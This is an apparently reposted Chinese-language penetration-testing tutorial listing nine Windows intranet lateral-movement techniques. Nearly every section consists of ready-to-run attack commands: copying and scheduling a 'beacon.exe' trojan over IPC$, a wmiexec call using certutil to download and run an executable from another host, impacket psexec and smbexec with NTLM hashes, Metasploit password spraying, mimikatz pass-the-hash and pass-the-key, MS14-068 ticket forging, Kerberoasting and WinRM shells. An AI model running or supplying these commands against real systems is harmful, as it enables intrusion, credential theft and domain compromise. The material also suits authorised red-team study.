內網橫向移動的九種方式
VSole2021-12-03 06:30:57
實驗環境
1-4 所用環境如下:

5-9 所用環境如下:

1.IPC橫向
IPC(Internet Process Connection)共享命名管道的資源,是為了實現進程間通信而開放的命名管道。IPC可以通過驗證用戶名和密碼獲得相應的權限,使用139、445端口。
1.1 利用條件
1、目標機開啟了139和445端口; 2、目標主機管理員開啟了ipc$默認共享; 3、知道目標機的賬戶密碼。
1.2 命令
建立IPC連接命令: net use \\191.168.52.136\ipc$ "password" /user:"Administrator" 斷開連接: net use \\x.x.x.x\ipc$ /del 查看連接是否建立: net use

建立IPC連接后可以使用計劃任務執行木馬上線。
拷貝木馬: copy beacon.exe \\191.168.52.136\c$ 創建計劃任務(at<2012、schtasks>=2012): at \\191.168.52.136 15:47 c:\beacon.exe



2.WMI橫向
WMI全稱“windows管理規范”,從win2003開始一直存在。它原本的作用是方便管理員對windows主機進行管理。因此在內網滲透中,我們可以使用WMI進行橫向移動。
2.1利用條件
1、WMI服務開啟,端口135,默認開啟。 2、防火墻允許135、445等端口通信。 3、知道目標機的賬戶密碼。
2.2wmic
wmic /node:191.168.52.136 /user:xxxx /password:xxxxx process call create "cmd.exe /c ipconfig>d:\result.txt" 無需上傳第三方軟件,利用系統內置程序,單命令執行,執行后無結果回顯

2.3 cscript
cscript //nologo wmiexec.vbs /shell 191.168.52.136 需上傳wmiexec.vbs然后進入該服務器內進行執行

2.4 wmiexec
1.執行命令: python wmiexec.py ./:@192.168.52.136 "cmd.exe /c certutil -urlcache -split -f http://192.168.52.137:8090/wmi.exe C:\wmi.exe" 2.用hash的方式: python wmiexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136 "whoami" 第三方軟件 (交互式&單執行),容易被殺


3.smb橫向
利用SMB服務可以通過明文或hash傳遞來遠程執行。
3.1 利用條件
1、445端口開放 2、知道賬號密碼
3.2 psexec(微軟官方工具)
PsExec64.exe \\192.168.52.136 -u <username> -p <password> -s cmd
3.3 psexec(impacket工具)
python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136

3.4 smbexec
python smbexec.py ./:@192.168.52.136

4.密碼噴灑
4.1利用metasploit進行密碼噴灑
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp msf6 exploit(windows/smb/psexec) > set smbuser user.txt msf6 exploit(windows/smb/psexec) > set smbpass password.txt msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24 msf6 exploit(windows/smb/psexec) > run

5.PTH-哈希傳遞
PTH,即Pass The Hash,通過找到與賬號相關的密碼散列值(通常是NTLM Hash)來進行攻擊。在域環境中,用戶登錄計算機時使用的大都是域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼。因此,如果計算機的本地管理員賬號和密碼也是相同的,攻擊者就可以使用哈希傳遞的方法登錄到內網主機的其他計算機。
5.1 利用條件
1、在工作組環境中: Windows Vista 之前的機器,可以使用本地管理員組內用戶進行攻擊。 Windows Vista 之后的機器,只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問 2、在域環境中: 只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一臺機器 如果要用普通域管理員賬號進行哈希傳遞攻擊,則需要修改修改目標機器的 LocalAccountTokenFilterPolicy為1
5.2 MiMiKatz-PTH
1. mimikatz privilege::debug 2. mimikatz sekurlsa::pth /user:administrator /domain:goksec.org /ntlm:8a963371a63944419ec1adf687bb1be5 3. steal_token PID



6.PTK-mimiKatZ
即Pass The Key ,當系統安裝了KB2871997補丁且禁用了NTLM的時候,那我們抓取到的ntlm hash.也就失去了作用,但是可以通過pass the key的攻擊方式獲得權限。
761 利用條件
獲取用戶的aes key mimikatz sekurlsa::ekeys sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx" 成功后會返回一個cmd

7.PtT-票據傳遞(ms14-068)
7.1 利用條件
1.域控沒有打MS14-068的補丁(KB3011780) 2.拿下一臺加入域的計算機 3.有這臺域內計算機的域用戶密碼和Sid

7.2 利用步驟
先清空當前機器的票據信息 mimikatz kerberos::list //列出當前票據 mimikatz kerberos::purge //清除票據 然后查看本機的sid whoami /all

ms14-068生成tgt票據 ms14-068.exe -u lisi@goksec.org -p goksec@2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org

導入票據 mimikatz kerberos::ptc <>> 使用如下命令,可成功讀取域控主機C盤目錄下文件 shell dir \\DC.goksec.org\c$


8.kerberoast攻擊
攻擊者從 TGS-REP 中提取加密的服務票證。由于服務票證是用鏈接到請求 SPN 的帳戶的哈希加密的,所以攻擊者可以離線破解這個加密塊,恢復帳戶的明文密碼。
8.1 如何得到域中的SPN?
1. setspn -q */* 2. cscript GetUserSPNs.vbs

8.2 請求服務票據
mimikatz kerberos::ask /target:

8.3 導出票據
mimikatz kerberos::list /export

8.4 破解服務票據:
python3 tgsrepcrack.py password.txt xxxx.kirbi

9.WinRM橫向
WinRM代表Windows遠程管理,是一種允許管理員遠程執行系統管理任務的服務。默認情況下支持Kerberos和NTLM身份驗證以及基本身份驗證。
9.1 利用條件
1、在win 2012之后(包括win 2012)的版本是默認開啟的,win 2012之前利用需要手動開啟winRM。 2、防火墻對5986、5985端口開放。

9.2 CMD執行
winrs -r:192.168.52.10 -u:192.168.52.10\用戶名 -p:xxxxx "ipconfig" 獲取交互式shell winrs -r:192.168.52.10 -u:192.168.52.10\用戶名 -p:xxxxx cmd

10.相關資源
https://www.freebuf.com/articles/system/174967.html https://github.com/nidem/kerberoast https://github.com/xan7r/kerberoast https://github.com/SecureAuthCorp/impacket https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
VSole
網絡安全專家